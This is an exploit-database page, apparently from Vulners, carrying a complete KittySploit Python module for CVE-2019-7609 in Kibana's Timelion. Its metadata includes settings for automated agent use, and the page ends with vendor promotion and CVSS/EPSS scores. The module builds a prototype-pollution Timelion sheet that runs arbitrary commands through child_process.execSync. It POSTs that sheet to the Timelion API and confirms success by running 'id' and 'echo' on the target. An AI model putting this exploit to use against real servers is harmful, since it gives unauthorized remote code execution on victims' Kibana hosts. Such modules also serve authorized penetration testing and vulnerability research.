Kibana Timelion RCE (CVE-2019-7609)
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Kibana Timelion prototype pollution RCE (CVE-2019-7609)."""
import json
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Kibana Timelion RCE (CVE-2019-7609)',
'description': (
'Exploits CVE-2019-7609 in Kibana <5.6.15 / <6.6.1: Timelion sheet prototype '
'pollution yields Node.js child_process execution.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2019-7609'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2019-7609',
'https://github.com/mpgn/CVE-2019-7609',
],
'tags': ['kibana', 'elastic', 'timelion', 'rce', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2019_7609_detect'],
},
},
}
timelion_path = OptString('/api/timelion/run', 'Timelion API path', required=False, advanced=True)
def _sheet(self, cmd: str) -> str:
safe = str(cmd).replace("'", "\\'")
return (
'.es(*).props(label.__proto__.env.AAAA=global.process.mainModule'
f".require('child_process').execSync('{safe}').toString()).props('AAAA')"
)
def execute(self, cmd: str) -> str:
path = str(self.timelion_path or '/api/timelion/run').strip()
payload = {
'sheet': [self._sheet(cmd)],
'time': {
'from': 'now-1m',
'to': 'now',
'mode': 'quick',
'interval': 'auto',
'timezone': 'UTC',
},
}
r = self.http_request(
method='POST',
path=path,
data=json.dumps(payload),
headers={'Content-Type': 'application/json; charset=utf-8'},
allow_redirects=False,
)
return (r.text or '') if r else ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2019-7609 Timelion RCE confirmed', 'confidence': 'high'}
r = self.http_request(
method='POST',
path=str(self.timelion_path or '/api/timelion/run'),
data='{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"UTC"}}',
headers={'Content-Type': 'application/json; charset=utf-8'},
allow_redirects=False,
)
if r and r.status_code == 200 and 'seriesList' in (r.text or ''):
return {'vulnerable': True, 'reason': 'Timelion API exposed', 'confidence': 'medium'}
return {'vulnerable': False, 'reason': 'Timelion RCE not confirmed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8 - 10
CVSS 210
EPSS0.95338
SSVC